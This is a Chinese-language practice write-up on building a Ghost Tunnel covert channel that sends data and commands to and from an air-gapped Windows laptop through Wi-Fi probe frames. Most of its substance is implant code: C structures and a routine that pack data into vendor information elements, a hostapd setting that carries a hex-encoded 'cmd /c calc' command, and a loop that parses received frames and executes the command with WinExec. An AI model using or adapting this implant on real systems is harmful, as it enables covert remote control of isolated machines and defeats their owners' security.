基於Ghost Tunnel的實踐,實現Air Gapping環境下的通訊與遠端執行
通過文章我們知道,實現這種攻擊需要滿足一下條件:
- 需要在目標機中植入客戶端程式,用以接收指令和傳送目標機資訊到控制端,植入方式可以為遠端植入、現場植入;
- 目標機需要具備無線網路介面卡,一般筆記本是自帶無線網絡卡的,其它情況可以插入USB無線網絡卡實現;
- 目標機發送資料利用的是Probe Request幀實現,將待發送的資料附加到Probe Request幀中,封裝成有效載荷併發送;
- 目標機接收資料利用的是Probe Response幀實現,以同樣的方式附加有效載荷到Probe Response幀中;
實踐平臺環境:
目標機:IBM 筆記本 windows 7 x64系統
控制機:Ubuntu x64系統
控制端程式:hostapd
根據相關文件介紹,有效載荷的資料儲存結構如下:
Element ID | Payload Length | Payload |
1 byte | 1 byte | 0-240 |
#include <PshPack1.h>
struct ie_data
{
unsigned char id;
unsigned char len;
unsigned char val[1];
};
#include <PopPack.h>
資料結構要1位元組對齊。
在windows平臺,傳送、接收資料用到的API主要有一下幾個:
WlanEnumInterfaces
WlanScan
WlanGetNetworkBssList
這裡貼出封裝傳送Payload的主要程式碼:
struct ie_data *piedata = NULL; int response_len = 0; char *response = NULL; response_len = sizeof(WLAN_RAW_DATA) -1 + sizeof(struct ie_data) -1 + len; response = (char *)malloc(response_len); memset(response, '\0', response_len); pwlan_data = (PWLAN_RAW_DATA)response; pwlan_data->dwDataSize = sizeof(struct ie_data) - 1 + len; piedata = (struct ie_data *)&pwlan_data->DataBlob[0]; piedata->id = (char)221; piedata->len = len; memcpy(&piedata->val[0], buf, len);
這裡的221(0xDD)根據MSDN文件介紹設定,buf為需要傳送的資料(最大長度240位元組),len為資料長度;將封裝好的payload附加到Probe Request幀的最後傳送出去,通過wireshark抓包來檢視傳送的情況,如下圖所示:
主控端為使用hostapd建立的一個AP熱點,AP熱點的SSID為ghosttunnel,所以這裡的SSID為ghosttunnel,傳送的內容為“command ok.”
主控端傳送資料(指令)可以通過hostapd配置檔案中的vendor_elements欄位來實現:
vendor_elements=dd0e636363636d64202f632063616c63
其中dd為Element ID,0e為Payload的長度,636363636d64202f632063616c63為傳送的指令字串的十六進位制形式,實際字串為:"ccccmd /c calc",該指令字串前面之所以有“ccc”,是以此作為一個簡單的magic,在接收指令時通過該“magic”判斷是否為主控端傳送的指令,也可通過其它內容作為magic,看具體實現。
下圖是通過wireshark抓包到的控制端傳送的Probe Response幀資料,從中可以清晰的看到傳送的指令:
這裡貼出接收Probe Response幀並解析出指令的程式碼,我們需要從多個Tag中解析出含有指令的Tag項:
if (stricmp((char *)bss_entry->dot11Ssid.ucSSID, "ghosttunnel") == 0)
{
char *pp = (char *)((unsigned long)bss_entry + bss_entry->ulIeOffset);
int total_size = bss_entry->ulIeSize;
for (;;)
{
ie = (struct ie_data *)pp;
if ((int)ie->id == 221)
{
// eg. "ccccmd /c calc"
char *magic = (char *)&ie->val[0];
if (strncmp(magic, "ccc", 3) == 0)
{
char command[240] = {0};
strncpy(command, magic + 3, ie->len - 3);
WinExec(command, SW_NORMAL);
break;
}
}
pp += sizeof(struct ie_data) - 1 + (int)ie->len;
total_size -= sizeof(struct ie_data) - 1 + (int)ie->len;
if (!total_size)
{
break; // over
}
}
}
通過一個迴圈從Probe Response幀中找到Payload的資料並執行指令。